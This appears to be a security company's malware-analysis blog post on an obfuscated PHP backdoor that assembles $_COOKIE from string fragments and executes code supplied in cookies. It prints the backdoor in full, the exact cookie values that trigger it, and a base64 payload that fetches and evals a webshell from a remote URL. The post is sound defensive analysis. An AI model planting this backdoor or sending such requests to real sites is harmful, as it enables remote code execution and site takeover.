When we investigate compromised websites, it’s not unusual to find malicious files that have been obfuscated through forms of encoding or encryption — however, these are not the only methods that attackers use to obfuscate code.
Obfuscation via Predefined PHP Variables
Here’s an example of obfuscation that doesn’t use encoding or encryption in any way:
<?php $x='_C';$v='OO';/*5h*/$o='KI';/*{*Z*/$qv='E';$j/*8i$7*/=${$x.$v.$o.$qv};if(isset($j/*f(UZ*/['Q'])){$oo=$j/*Mr*/['Q'].$j['J'];$tj=/*m5d*/$j['St'].$j['V'].$j['x'];$pd=$oo('',$tj($j['U']));$pd();}
Instead, this example splits a PHP predefined variable, $_COOKIE, into segmented strings assigned to variables before concatenating them. It also uses code comments and meaningless variable names to generate confusion and make it more difficult to read the code logically. Finally, the obfuscation technique uses an array which allows the attacker to pass data to the PHP script via HTTP cookies so that arbitrary code can be executed.
This isn’t very easy to see right off the bat, but it becomes easier when we remove the code comments, beautify the code, and split it into two sections:
$x = '_C'; $v = 'OO'; $o = 'KI'; $qv = 'E'; $j = ${$x . $v . $o . $qv};
This first section of the code has the variables $x, $v, $o, and $qv which are used to contain the segmented strings. The strings are concatenated with the . operator in the $j variable to generate the $_COOKIE PHP predefined variable. This is a crucial part of the malicious code as the attacker will place PHP functions and data into HTTP cookies that they will pass to the PHP script in their HTTP request.
Malicious Data in HTTP Requests
Here’s how attackers are able to pass along data in their malicious code:
if (isset($j['Q'])) { $oo = $j['Q'] . $j['J']; $tj = $j['St'] . $j['V'] . $j['x']; $pd = $oo('', $tj($j['U'])); $pd(); }
This second section starts off with an if statement, which checks for the existence of the HTTP cookie with the name Q. If the incoming HTTP request does not have this cookie, then the PHP code simply stops there. If the request does contain a Q cookie, the code proceeds to create three new variables ($oo, $tj, and $pd) from segmented data that is provided by the attacker’s HTTP cookies (Q, J, St, V, x, and U), which is then concatenated to form executable code.
Since the attacker is responsible for supplying the variable definitions, this script allows them flexibility in what code they wish to execute. In this particular example, the format and execution of the $pd variable indicates that it will be using the PHP function create_function.
The Cookie Assembly Line
Strings stored in cookies Q and J are assembled using create_function and assigned to the $oo variable.
The $tj variable is defined by the data provided by the HTTP cookies St, V, and x. Unlike the $oo variable, the $tj variable shows the flexibility that I previously mentioned as it isn’t limited to just one PHP function (e.g create_function), so the attacker can choose what to use here.
It’s important to keep in mind that whatever function the attacker chooses to use will have to execute on the data provided by the final cookie — U. For this example, I chose to use the function base64_decode which means that the U cookie will need to be base64 encoded.
So far, we’ve identified what values to assign to our cookies (except for the last one, U):
Q=create_; J=function; St=base; V=64_; x=decode;
The cookie values don’t necessarily have to exactly match the example shown above, but when concatenated they do need to match the name of the intended PHP function. For example, you could have Q be creat and J be e_function — when concatenated, it will still end up being create_function.
Arbitrary PHP Code Submission
This leaves us with just one HTTP cookie left to define — U. The data assigned to this variable is the PHP code created by create_function and executed by the $pd() function. This cookie is what grants the attacker so much flexibility, allowing them to store any PHP code they want executed through the malicious file.
For this scenario, I wanted to demonstrate how an attacker can submit arbitrary code passed in their HTTP request to the malicious file so I chose to use this PHP code:
eval(base64_decode($_REQUEST['cmd']));
It’s worth mentioning that HTTP cookies are generally limited to 4,096 characters or less, so copying and pasting an entire PHP webshell’s source code into the U character wouldn’t work. And don’t forget that the U cookie value will need to be base64 encoded so that the $tj variable can successfully run its base64_decode function on U’s value.
When base64 encoded, the U cookie looks like this:
U=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsnY21kJ10pKTs=
Okay, so we have all the HTTP cookie values defined. When they are concatenated and the variables replaced with the actual concatenated values, the result will (roughly) be the following PHP code:
The only thing left for the attacker to do is decide on the arbitrary base64 encoded PHP code that they want to provide in their HTTP request under the cmd parameter.
Base64 Encoded cmd URL Parameter
For this scenario, I chose to use the following code which loads a PHP webshell from a third party URL into the PHP process on the infected website. This is performed without actually writing the PHP webshell to a file on the disk:
$a = file_get_contents('https://[redacted]/files/shell.txt');eval('?>'.$a);
When this PHP code is base64 encoded and added as the value for the cmd URL parameter (can be through a GET or POST request), it looks like this:
cmd=JGEgPSBmaWxlX2dldF9jb250ZW50cygnaHR0cHM6Ly9bcmVkYWN0ZWRdL2ZpbGVzL3NoZWxsLnR4dCcpO2V2YWwoJz8+Jy4kYSk7
Loading PHP Webshells from Third-Party Sources
Alright, so now the attacker has defined all of the Q, J, St, V, x, and U cookies with their proper values along with the arbitrary code that they want executed assigned to the cmd URL parameter. The last thing left to do is to send this very specific request to the malicious file found at the beginning of the post.
When the specially crafted HTTP request is sent to the malicious file, it executes everything provided by the request parameter and its cookies, which in turn loads a PHP webshell from a remote third party source!
This type of arbitrary code execution can be mitigated by removing the malicious file from the compromised environment.
If you’re a DIY type and think that you might have a website infection, you can follow our free guide on how to clean a hacked website. We’re always happy to help if you need a hand with malware cleanup.